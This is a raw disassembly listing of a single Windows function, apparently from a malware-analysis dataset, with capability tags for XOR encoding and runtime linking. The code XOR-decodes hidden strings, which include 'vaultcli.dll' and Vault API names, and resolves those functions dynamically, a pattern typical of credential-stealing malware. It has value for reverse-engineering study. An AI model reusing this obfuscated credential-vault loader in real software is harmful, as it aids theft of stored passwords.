Function at 0x44ebe0
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x5c
cmp byte [0x564e42], 0
push esi
jne 0x44f2d1
xorps xmm0, xmm0
mov dword [ebp - 0x53], 0xdec4d1d9
mov dword [ebp - 0x4f], 0xdfd9d7c7
xor ecx, ecx
mov dword [ebp - 0x4b], 0xd6d5dc99
movups xmmword [ebp - 0x47], xmm0
mov dword [ebp - 0x37], 0
mov word [ebp - 0x33], 0
mov byte [ebp - 0x31], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x53], al
inc ecx
cmp ecx, 0xc
jb 0x44ec36
mov dword [0x565528], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x53]
mov byte [ebp - 0x47], 0
movaps xmmword [ebp - 0x30], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44ec68
sub ecx, edx
lea eax, [ebp - 0x53]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402c40
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
cmovae eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x1c]
test eax, eax
mov dword [0x564e28], eax
sete al
mov byte [ebp - 1], al
cmp ecx, 0x10
jb 0x44ecd4
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44ecc7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44f2db
push ecx
push edx
call fcn.00504f31
mov al, byte [ebp - 1]
add esp, 8
test al, al
jne 0x44f2d1
movaps xmm0, xmmword [0x551930]
xor ecx, ecx
movups xmmword [ebp - 0x5a], xmm0
mov word [ebp - 0x4a], 0xadda
xorps xmm0, xmm0
mov byte [ebp - 0x48], 0xb2
movups xmmword [ebp - 0x47], xmm0
mov dword [ebp - 0x37], 0
mov word [ebp - 0x33], 0
mov byte [ebp - 0x31], al
nop word [eax + eax]
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x5a], al
inc ecx
cmp ecx, 0x13
jb 0x44ed10
mov dword [0x5655a8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x5a]
mov byte [ebp - 0x47], 0
movaps xmmword [ebp - 0x30], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44ed42
sub ecx, edx
lea eax, [ebp - 0x5a]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402c40
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmovae eax, dword [ebp - 0x30]
push eax
push dword [0x564e28]
call esi
mov ecx, dword [ebp - 0x1c]
mov dword [0x564e44], eax
cmp ecx, 0x10
jb 0x44edab
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44eda1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44f2e0
push ecx
push edx
call fcn.00504f31
add esp, 8
movaps xmm0, xmmword [0x552490]
xor ecx, ecx
movups xmmword [ebp - 0x5b], xmm0
mov dword [ebp - 0x4b], 0xb1b5acca
xorps xmm0, xmm0
mov dword [ebp - 0x37], 0
movups xmmword [ebp - 0x47], xmm0
mov word [ebp - 0x33], 0
mov byte [ebp - 0x31], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x5b], al
inc ecx
cmp ecx, 0x14
jb 0x44edd7
mov dword [0x565540], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x5b]
mov byte [ebp - 0x47], 0
movaps xmmword [ebp - 0x30], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44ee10
sub ecx, edx
lea eax, [ebp - 0x5b]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402c40
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
cmovae eax, dword [ebp - 0x30]
push eax
push dword [0x564e28]
call esi
mov ecx, dword [ebp - 0x1c]
mov dword [0x564e3c], eax
cmp ecx, 0x10
jb 0x44ee73
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44ee69
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44f2e5
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x50], 0xdec4d1f9
mov dword [ebp - 0x4c], 0xd3c7f2c7
xor ecx, ecx
mov byte [ebp - 0x48], 0xd2
movups xmmword [ebp - 0x47], xmm0
mov dword [ebp - 0x37], 0
mov word [ebp - 0x33], 0
mov byte [ebp - 0x31], 0
nop
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x50], al
inc ecx
cmp ecx, 9
jb 0x44eea0
mov dword [0x565630], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x50]
mov byte [ebp - 0x47], 0
movaps xmmword [ebp - 0x30], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44eed2
sub ecx, edx
lea eax, [ebp - 0x50]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402c40
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
cmovae eax, dword [ebp - 0x30]
push eax
push dword [0x564e28]
call esi
mov ecx, dword [ebp - 0x1c]
mov dword [0x564e34], eax
cmp ecx, 0x10
jb 0x44ef35
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44ef2b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44f2ea
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x55], 0xdec4d1f9
mov dword [ebp - 0x51], 0xd3c5fbc7
xor ecx, ecx
mov dword [ebp - 0x4d], 0xcfd8eed9
mov word [ebp - 0x49], 0xc8d7
movups xmmword [ebp - 0x47], xmm0
mov dword [ebp - 0x37], 0
mov word [ebp - 0x33], 0
mov byte [ebp - 0x31], 0
nop word [eax + eax]
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x55], al
inc ecx
cmp ecx, 0xe
jb 0x44ef70
mov dword [0x565524], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x55]
mov byte [ebp - 0x47], 0
movaps xmmword [ebp - 0x30], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44efa2
sub ecx, edx
lea eax, [ebp - 0x55]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402c40
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
cmovae eax, dword [ebp - 0x30]
push eax
push dword [0x564e28]
call esi
mov ecx, dword [ebp - 0x1c]
mov dword [0x564e24], eax
cmp ecx, 0x10
jb 0x44f005
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44effb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44f2ef
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x56], 0xdec4d1f9
mov dword [ebp - 0x52], 0xd9d9f7c7
xor ecx, ecx
mov dword [ebp - 0x4e], 0xdbefddc4
mov word [ebp - 0x4a], 0xd0ce
mov byte [ebp - 0x48], 0xc9
movups xmmword [ebp - 0x47], xmm0
mov dword [ebp - 0x37], 0
mov word [ebp - 0x33], 0
mov byte [ebp - 0x31], 0
nop
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x56], al
inc ecx
cmp ecx, 0xf
jb 0x44f040
mov dword [0x565558], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x56]
mov byte [ebp - 0x47], 0
movaps xmmword [ebp - 0x30], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44f072
sub ecx, edx
lea eax, [ebp - 0x56]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402c40
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
cmovae eax, dword [ebp - 0x30]
push eax
push dword [0x564e28]
call esi
mov ecx, dword [ebp - 0x1c]
mov dword [0x564e38], eax
cmp ecx, 0x10
jb 0x44f0d5
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44f0cb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44f2f4
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x53], 0xdec4d1f9
mov dword [ebp - 0x4f], 0xc2d0f3c7
xor ecx, ecx
mov dword [ebp - 0x4b], 0xd7dcccfe
movups xmmword [ebp - 0x47], xmm0
mov dword [ebp - 0x37], 0
mov word [ebp - 0x33], 0
mov byte [ebp - 0x31], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x53], al
inc ecx
cmp ecx, 0xc
jb 0x44f104
mov dword [0x565528], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x53]
mov byte [ebp - 0x47], 0
movaps xmmword [ebp - 0x30], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44f136
sub ecx, edx
lea eax, [ebp - 0x53]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402c40
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
cmovae eax, dword [ebp - 0x30]
push eax
push dword [0x564e28]
call esi
mov ecx, dword [ebp - 0x1c]
mov dword [0x564e30], eax
cmp ecx, 0x10
jb 0x44f199
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44f18f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44f2f9
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x53], 0xdec4d1f9
mov dword [ebp - 0x4f], 0xc2d0f3c7
xor ecx, ecx
mov dword [ebp - 0x4b], 0xd7dcccfe
movups xmmword [ebp - 0x47], xmm0
mov dword [ebp - 0x37], 0
mov word [ebp - 0x33], 0
mov byte [ebp - 0x31], 0
lea eax, [ecx - 0x51]
xor byte [ebp + ecx - 0x53], al
inc ecx
cmp ecx, 0xc
jb 0x44f1c8
mov dword [0x565528], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x53]
mov byte [ebp - 0x47], 0
movaps xmmword [ebp - 0x30], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44f200
sub ecx, edx
lea eax, [ebp - 0x53]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402c40
cmp dword [ebp - 0x1c], 0x10
lea eax, [ebp - 0x30]
cmovae eax, dword [ebp - 0x30]
push eax
push dword [0x564e28]
call esi
mov ecx, dword [ebp - 0x1c]
mov dword [0x564e4c], eax
cmp ecx, 0x10
jb 0x44f268
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44f259
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44f2fe
push ecx
push edx
call fcn.00504f31
mov eax, dword [0x564e4c]
add esp, 8
cmp dword [0x564e44], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
mov byte [ebp - 0x30], 0
je 0x44f2c5
cmp dword [0x564e3c], 0
je 0x44f2c5
cmp dword [0x564e34], 0
je 0x44f2c5
cmp dword [0x564e24], 0
je 0x44f2c5
cmp dword [0x564e38], 0
je 0x44f2c5
cmp dword [0x564e30], 0
je 0x44f2c5
test eax, eax
je 0x44f2c5
mov byte [0x564e42], 1
mov al, 1
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push dword [0x564e28]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
call fcn.0050a1d0
int3